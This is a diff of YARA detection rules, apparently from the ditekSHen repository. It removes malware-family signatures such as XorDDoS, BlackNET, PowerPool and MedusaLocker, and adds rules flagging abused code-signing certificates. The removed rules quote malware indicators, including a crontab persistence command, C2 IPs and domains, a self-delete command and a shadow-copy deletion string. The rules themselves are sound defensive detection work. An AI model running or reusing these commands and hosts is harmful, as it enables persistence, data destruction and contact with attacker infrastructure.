-		$s11 = "{0}Browsers\\Passwords.txt" fullword wide
+		thumbprint = "f293eed3ff3d548262cddc43dce58cfc7f763622"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tencent Technology(Shenzhen) Company Limited" and pe.signatures[i].serial=="01:ea:62:e4:43:cb:22:50:c8:70:ff:6b:b1:3b:a9:8e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Xorddos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_726Ee7F5999B9E8574Ec59969C04955C : FILE
 {
 	meta:
-		description = "Detects XORDDoS"
+		description = "Detects IntelliAdmin commercial remote administration signing certificate"
 		author = "ditekSHen"
-		id = "0ca581c3-bce2-5b4f-8146-9aeb49b88813"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5e88abd2-97d5-5271-ace5-6b7cb2cd6633"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2209-L2220"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4101-L4112"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "192378d903316c1d80b064e78feb6ed9d2ffc9e6c7dc0c8df223d83d17e4e8d9"
+		logic_hash = "494afa3711d93c56d52b8ae944db737cb53db8d27f2255c7045c3bf4478995a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done" fullword ascii
-		$s2 = "cp /lib/libudev.so /lib/libudev.so.6" fullword ascii
-		$s3 = "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab" fullword ascii
-		$s4 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)" fullword ascii
+		thumbprint = "2fb952bc1e3fcf85f68d6e2cb5fc46a519ce3fa9"
+		importance = 20
 
 	condition:
-		uint32(0)==0x464c457f and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IntelliAdmin, LLC" and pe.signatures[i].serial=="72:6e:e7:f5:99:9b:9e:85:74:ec:59:96:9c:04:95:5c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blacknet : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A005D2E2Bcd4137168217D8C727747C : FILE
 {
 	meta:
-		description = "Detects BlackNET RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c1ece46a-3cd9-54aa-a105-1c5b19357a7e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c3888d90-0c09-539a-9155-a60e4670320d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2222-L2250"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4114-L4125"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "64e00325a5a6a595067c6133800e73d943f45e2783475c24ed4a9bd9937fe0d6"
+		logic_hash = "b4024cd0d6c9a86d3956b9ba5d9692fc7ec2d7aa399a56a0b12f9387801a0b08"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920079-920082"
-		snort3_sid = "920079-920082"
-		clamav_sig = "MALWARE.Win.Trojan.BlackNET"
-
-	strings:
-		$s1 = "SbieCtrl" fullword wide
-		$s2 = "SpyTheSpy" fullword wide
-		$s3 = "\\BlackNET.dat" fullword wide
-		$s4 = "StartDDOS" fullword wide
-		$s5 = "UDPAttack" fullword wide
-		$s6 = "ARMEAttack" fullword wide
-		$s7 = "TCPAttack" fullword wide
-		$s8 = "HTTPGetAttack" fullword wide
-		$s9 = "RetriveLogs" fullword wide
-		$s10 = "StealPassword" fullword wide
-		$s11 = "/create /f /sc ONSTART /RL HIGHEST /tn \"'" fullword wide
-		$b1 = "DeleteScript|BN|" fullword wide
-		$b2 = "|BN|Online" fullword wide
-		$b3 = "NewLog|BN|" fullword wide
-		$cnc1 = "/getCommand.php?id=" fullword wide
-		$cnc2 = "/upload.php?id=" fullword wide
-		$cnc3 = "connection.php?data=" fullword wide
-		$cnc4 = "/receive.php?command=" fullword wide
+		thumbprint = "df788aa00eb400b552923518108eb1d4f5b7176b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (9 of ($s*) or all of ($cnc*) or all of ($b*) or 12 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beijing JoinHope Image Technology Ltd." and pe.signatures[i].serial=="0a:00:5d:2e:2b:cd:41:37:16:82:17:d8:c7:27:74:7c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Stormkitty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D3D74Ae548830D5B1Bca9856E16C564A : FILE
 {
 	meta:
-		description = "Detects StormKitty infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a061a1c0-9ed5-5048-85df-4d7ed6995e92"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "692ef744-9609-5cb1-b425-3bacf012fcdb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2252-L2269"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4127-L4138"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5d139aad6932f177cd14e0356f822ad68ddc659ea4fabd2fd2fbcbc8bad58888"
+		logic_hash = "c72f10af530a6af4526ad956ef6058d097417a8fe3b902e3c7cba27b04e0c2c1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.StormKitty"
-
-	strings:
-		$x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii
-		$x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii
-		$x3 = "StormKitty" fullword ascii
-		$s1 = "GetBSSID" fullword ascii
-		$s2 = "GetAntivirus" fullword ascii
-		$s3 = "C:\\Users\\Public\\credentials.txt" fullword wide
-		$s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide
-		$s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide
-		$s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide
+		thumbprint = "3f996b75900d566bc178f36b3f4968e2a08365e8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 5 of ($s*) or (3 of ($s*) and 1 of ($x*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Insite Software Inc." and pe.signatures[i].serial=="00:d3:d7:4a:e5:48:83:0d:5b:1b:ca:98:56:e1:6c:56:4a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bulz01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_41F8253E1Ceafbfd8E49F32C34A68F9E : FILE
 {
 	meta:
-		description = "Detects trojan loader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4ac4125b-70f5-5cda-ae45-fd5713e25a6e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "84bd03de-88cd-5180-af11-916dbecd0366"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2271-L2281"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4140-L4151"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "29884dda4936016660f5d1e33ffcf97a20c7d3116483a5895a5e2a1dd4ac9e9f"
+		logic_hash = "53f71030815dcdda8424fe858d26a08cf947a683e69c50ea5fda53f51b88bb93"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DisableTrivet.dll" fullword ascii
+		thumbprint = "02e739740b88328ac9c4a6de0ee703b7610f977b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and all of ($s*) and (pe.exports("Ordinal") or pe.exports("Chechako") or pe.exports("Originator") or pe.exports("Repressions"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shenzhen Smartspace Software technology Co.,Limited" and pe.signatures[i].serial=="41:f8:25:3e:1c:ea:fb:fd:8e:49:f3:2c:34:a6:8f:9e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Revcoderat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : FILE
 {
 	meta:
-		description = "Detects RevCode/WebMonitor RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4acf6742-7f5c-5126-89cc-b39b1acd922e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e1cc3d27-4f76-58a8-8dd6-fd8dbe48252e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2283-L2332"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4153-L4164"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e5bf1ce79b7955f597df1a9e361a3be892de55cd3db767278d4ccc02ace9e9f5"
+		logic_hash = "19cf46c112b546c26f12891727fdbc74aaa78bbdcdbc4e041781394f4cf5f719"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
-		snort2_sid = "920070"
-		snort3_sid = "920070"
-		clamav_sig = "MALWARE.Win.Trojan.RevCodeRAT"
-
-	strings:
-		$x1 = "rev-novm.dat" fullword wide
-		$x2 = "WebMonitor-" fullword wide
-		$x3 = "WebMonitor Client" fullword wide
-		$x4 = "Launch WebMonitor" fullword wide
-		$s1 = "KEYLOG_DEL" fullword ascii
-		$s2 = "KEYLOG_STREAM_START" fullword ascii
-		$s3 = "send_keylog_del" fullword ascii
-		$s4 = "send_keylog_stream_" ascii
-		$s5 = "send_shell_exec" fullword ascii
-		$s6 = "send_file_download_exec" fullword ascii
-		$s7 = "send_pdg_exec" fullword ascii
-		$s8 = "send_app_cmd_upd" fullword ascii
-		$s9 = "send_webcamstream_start" fullword ascii
-		$s10 = "send_screenstream_start" fullword ascii
-		$s11 = "send_clipboard_get" fullword ascii
-		$s12 = "send_pdg_rev_proxy_stop" fullword ascii
-		$s13 = "send_shell_stop" fullword ascii
-		$s14 = "send_wnd_cmd" fullword ascii
-		$s15 = "SCREEN_STREAM_LEGACY(): Started..." fullword ascii
-		$s16 = "SYSTEM_INFORMATION(): Failed! (Error:" fullword ascii
-		$s17 = "TARGET_HOST_UPDATE(): Sync successful!" fullword ascii
-		$s18 = "PLUGIN_PROCESS_REVERSE_PROXY: Plugin" ascii
-		$s19 = "PLUGIN_PROCESS: Plugin" ascii
-		$s20 = "PLUGIN_EXEC: Plugin" ascii
-		$s21 = "PLUGIN_PROCESS_SCREEN_STREAM: Plugin" ascii
-		$cnc1 = "?task_id=" fullword ascii
-		$cnc2 = "&operation=" fullword ascii
-		$cnc3 = "&filesize=" fullword ascii
-		$cnc4 = "pos=" fullword ascii
-		$cnc5 = "&mode=" fullword ascii
-		$cnc6 = "&cmp=1" fullword ascii
-		$cnc7 = "&cmp=0" fullword ascii
-		$cnc8 = "&enc=1" fullword ascii
-		$cnc9 = "&enc=0" fullword ascii
-		$cnc10 = "&user=" fullword ascii
-		$cnc11 = "&uid=" fullword ascii
-		$cnc12 = "&key=" fullword ascii
+		thumbprint = "1213865af7ddac1568830748dbdda21498dfb0ba"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or all of ($cnc*) or 8 of ($s*) or (1 of ($x*) and 6 of ($s*)) or (6 of ($cnc*) and 6 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Farad LLC" and pe.signatures[i].serial=="0a:5b:4f:67:ad:8b:22:af:c2:de:be:6c:e5:f8:f6:79")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Powerpool_STG1 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_65Cd323C2483668B90A44A711D2A6B98 : FILE
 {
 	meta:
-		description = "Detects first stage PowerPool backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8531c22d-8d71-5794-b9c8-0a4cd81bb2b0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b976e930-cf9a-5b0f-9a1b-c35c3f134bdd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2334-L2361"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4166-L4177"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ab00d6e3007743a8bb30fbcdb435ac49101b52face55549ae454c64345caff9"
+		logic_hash = "e0a9868f9a42aeb8f90aff540a73bc8fa1bfebbf8ee6c0c71bd921cf914e0875"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920088"
-		snort3_sid = "920086"
-		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-1"
-
-	strings:
-		$s1 = "cmd /c powershell.exe $PSVersionTable.PSVersion > \"%s\"" fullword wide
-		$s2 = "cmd /c powershell.exe \"%s\" > \"%s\"" fullword wide
-		$s3 = "rar.exe a -r %s.rar -ta%04d%02d%02d%02d%02d%02d -tb%04d%02d%02d%02d%02d%02d" fullword wide
-		$s4 = "MyDemonMutex%d" fullword wide
-		$s5 = "MyScreen.jpg" fullword wide
-		$s6 = "proxy.log" fullword wide
-		$s7 = "myjt.exe" fullword wide
-		$s8 = "/?id=%s&info=%s" fullword wide
-		$s9 = "auto.cfg" fullword ascii
-		$s10 = "Mozilla/5.0 (Windows NT 6.1; WOW64)" fullword wide
-		$s11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" fullword wide
-		$s12 = "CMD COMMAND EXCUTE ERROR!" fullword ascii
-		$c1 = "run.afishaonline.eu" fullword wide
-		$c2 = "home.Sports-Collectors.com" fullword wide
-		$c3 = "about.Sports-Collectors.com" fullword
-		$c4 = "179.43.158.15" fullword wide
-		$c5 = "185.227.82.35" fullword wide
+		thumbprint = "188810cf106a5f38fe8aa0d494cbd027da9edf97"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($c*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Giperion" and pe.signatures[i].serial=="65:cd:32:3c:24:83:66:8b:90:a4:4a:71:1d:2a:6b:98")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Powerpool_STG2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0F7E3Fda780E47E171864D8F5386Bc05 : FILE
 {
 	meta:
-		description = "Detects second stage PowerPool backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1a059900-3292-5419-a143-caea3e710191"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "33b8ce54-fa2c-5aac-9022-2309f7fc4a86"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2363-L2395"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4192-L4203"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b80712bab281dbde816e2eda6ab1b4a9e21be26578fb755a1e1e1635675aa911"
+		logic_hash = "30e2daf85ee7f9f9615a49af949a034b50a97a1a7abf6a318547809cc9e7b0b7"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort2_sid = "920089-920091"
-		snort3_sid = "920087-920089"
-		clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-2"
-
-	strings:
-		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
-		$s2 = "LookupAccountSid Error %u" fullword ascii
-		$s3 = "Mozilla/4.0 (compatible; )" fullword ascii
-		$s4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
-		$s5 = "Content-Disposition: form-data; name=\"%s\"" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
-		$s7 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
-		$s8 = "in Json::Value::find" fullword ascii
-		$s9 = "in Json::Value::resolveReference" fullword ascii
-		$s10 = "in Json::Value::duplicateAndPrefixStringValue" fullword ascii
-		$s11 = ".?AVLogicError@Json@@" fullword ascii
-		$s12 = ".?AVRuntimeError@Json@@" fullword ascii
-		$s13 = "http:\\\\82.221.101.157:80" ascii
-		$s14 = "http://172.223.112.130:80" ascii
-		$s15 = "http://172.223.112.130:443" ascii
-		$s16 = "http://info.newsrental.net:80" ascii
-		$s17 = "%s|%I64d" ascii
-		$s18 = "open internet failed..." ascii
-		$s19 = "connect failed..." ascii
-		$s20 = "handle not opened..." ascii
-		$s21 = "corrupted regex pattern" fullword ascii
-		$s22 = "add cookie failed..." ascii
+		thumbprint = "1e3dd5576fc57fa2dd778221a60bd33f97087f74"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 14 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Louhos Solutions Oy" and pe.signatures[i].serial=="0f:7e:3f:da:78:0e:47:e1:71:86:4d:8f:53:86:bc:05")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Egregor : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C2Cbbd946Bc3Fdb944D522931D61D51A : FILE
 {
 	meta:
-		description = "Detects Egregor ransomware variants"
+		description = "Detects executables signed with Sordum Software certificate, particularly Defender Control"
 		author = "ditekSHen"
-		id = "2e24d4ec-39c2-5148-80a1-04f96bc8b477"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b8ccfb1a-4e3f-5823-af38-e1607458023e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2397-L2434"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4231-L4242"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d39a7bf89a7574f7dfe56db78c8cdbbee97782f829805d4ee87fd9f1635154cd"
+		logic_hash = "6e67835cf85c713ef5a21b866a277e90236c607fb67d3fd9b2bba627c31d9e97"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Egregor"
-
-	strings:
-		$s1 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
-		$p1 = "--deinstall" fullword wide
-		$p2 = "--del" fullword wide
-		$p3 = "--exit" fullword wide
-		$p4 = "--kill" fullword wide
-		$p5 = "--loud" fullword wide
-		$p6 = "--nooperation" fullword wide
-		$p7 = "--nop" fullword wide
-		$p8 = "--skip" fullword wide
-		$p9 = "--useless" fullword wide
-		$p10 = "--yourmommy" fullword wide
-		$p11 = "-passegregor" ascii wide
-		$p12 = "-peguard" ascii wide
-		$p13 = "--nomimikatz" ascii wide
-		$p14 = "--multiproc" ascii wide
-		$p15 = "--killrdp" ascii wide
-		$p16 = "--nonet" ascii wide
-		$p17 = "--norename" ascii wide
-		$p18 = "--greetings" ascii wide
+		thumbprint = "f5e71628a478a248353bf0177395223d2c5a0e43"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and pe.is_dll() and (( all of ($s*) and 1 of ($p*)) or (2 of them and filesize <1000KB and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".00cfg"))))) or 8 of ($p*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sordum Software" and pe.signatures[i].serial=="c2:cb:bd:94:6b:c3:fd:b9:44:d5:22:93:1d:61:d5:1a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Redlinedropperexe : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : FILE
 {
 	meta:
-		description = "Detects executables dropping RedLine infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "364ba540-60a5-5e1b-bb21-505a442eabb6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d23e7b9b-4424-50c5-a768-9cb33e0de192"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2461-L2484"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4244-L4255"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cd1fb4a1d0883221dbdcc519db7f54b0f7285e8a19201dbc586c2520e8086bc2"
+		logic_hash = "45e2833dedacd875912d07dc63216400ddff76846f9c7bdf808f1db56ed4720c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-EXE"
-
-	strings:
-		$s1 = "Wizutezinod togeto0Rowadufevomuki futenujilazem jic lefogatenezinor" fullword wide
-		$s2 = "6Tatafamobevofaj bizafoju peyovavacoco lizine kezakajuj" fullword wide
-		$s3 = "Lawuherusozeru kucu zam0Zorizeyuk lepaposupu gala kinarusot ruvasaxehuwo" fullword wide
-		$s4 = "ClearEventLogW" fullword ascii
-		$s5 = "ProductionVersion" fullword wide
-		$s6 = "Vasuko)Yugenizugilobo toxocivoriye yexozoyohuzeb" wide
-		$s7 = "Yikezevavuzus gucajanesan#Rolapucededoxu xewulep fuwehofiwifi" wide
+		thumbprint = "677054afcbfecb313f93f27ed159055dc1559ad0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (pe.exports("_fgeek@8") and 2 of them ) or (2 of them and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".rig")))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Divisible Limited" and pe.signatures[i].serial=="6e:3b:09:f4:3c:3a:0f:d5:3b:7d:60:0f:08:fa:e2:b5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nibiru : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Aa12C95D2Bcde0Ce141C6F1145B0D7Ef : FILE
 {
 	meta:
-		description = "Detects Nibiru ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "78c3bf75-1ab3-5f88-ba4b-d5a0a906d57c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "66ef7681-7467-5c9f-8e0b-749a9711f15a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2486-L2504"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4257-L4268"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f3718e9091b09e0f47ecd6715a3a2c160ede6ab9fb144e7ed115dd5a25c8e379"
+		logic_hash = "34edd92640d8059f074513b526c7a2bf0d9265af9466a2ae66b93255044744c4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Nibiru"
-
-	strings:
-		$s1 = ".encrypt" fullword wide
-		$s2 = "crypted" fullword wide
-		$s3 = ".Nibiru" fullword wide
-		$s4 = "Encryption Complete" fullword wide
-		$s5 = "All your files,documents,important datas,mp4,mp3 and anything valuable" ascii
-		$s6 = "EncryptOrDecryptFile" fullword ascii
-		$s7 = "get_hacker" ascii
-		$s8 = "/C choice /C Y /N /D Y /T 3 & Del \"" fullword wide
-		$s9 = "Once You pay,you get the KEY to decrypt files" ascii
-		$pdb = "\\Projects\\Nibiru\\Nibiru\\obj\\x86\\Release\\Nibiru.pdb" ascii
+		thumbprint = "1383c4aa2900882f9892696c537e83f1fb20a43f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of them or ($pdb and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROKON, OOO" and pe.signatures[i].serial=="00:aa:12:c9:5d:2b:cd:e0:ce:14:1c:6f:11:45:b0:d7:ef")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Medusalocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_03E9Eb4Dff67D4F9A554A422D5Ed86F3 : FILE
 {
 	meta:
-		description = "Detects MedusaLocker ransomware"
-		author = "ditekshen"
-		id = "06b7645f-228d-5ec1-9b82-88caee447a5c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "b76ab1af-01f9-5d03-8d5e-7314a7a2de43"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2506-L2537"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4270-L4281"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e2a0a9f12f550a5c6a11731710e0dc2c2e26d17f43d2385bf6e298518631771"
+		logic_hash = "a56f53cb94f78496b4935fc2a613d030bd550b749427501dd9dda18cb9e05ab3"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.MedusaLocker"
-
-	strings:
-		$x1 = "\\MedusaLockerInfo\\MedusaLockerProject\\MedusaLocker\\Release\\MedusaLocker.pdb" ascii
-		$x2 = "SOFTWARE\\Medusa" wide
-		$x3 = "=?utf-8?B?0RFQctTF0YDQcNC60IXQvdC+IEludGVybmV0IED4cGxvseVyIDEz?=" ascii
-		$s1 = "Recovery_Instructions.mht" fullword wide
-		$s2 = "README_LOCK.TXT" fullword wide
-		$s3 = "C:\\Users\\Public\\Desktop" wide
-		$s4 = "[LOCKER] " wide
-		$s5 = "TmV3LUl0ZW0gJ2" ascii
-		$s6 = "<HEAD>=20" ascii
-		$s7 = "LIST OF ENCRYPTED FILES" ascii
-		$s8 = "KEY.FILE" ascii
-		$cmd1 = { 2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00 20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
-		$cmd2 = "vssadmin.exe delete" wide nocase
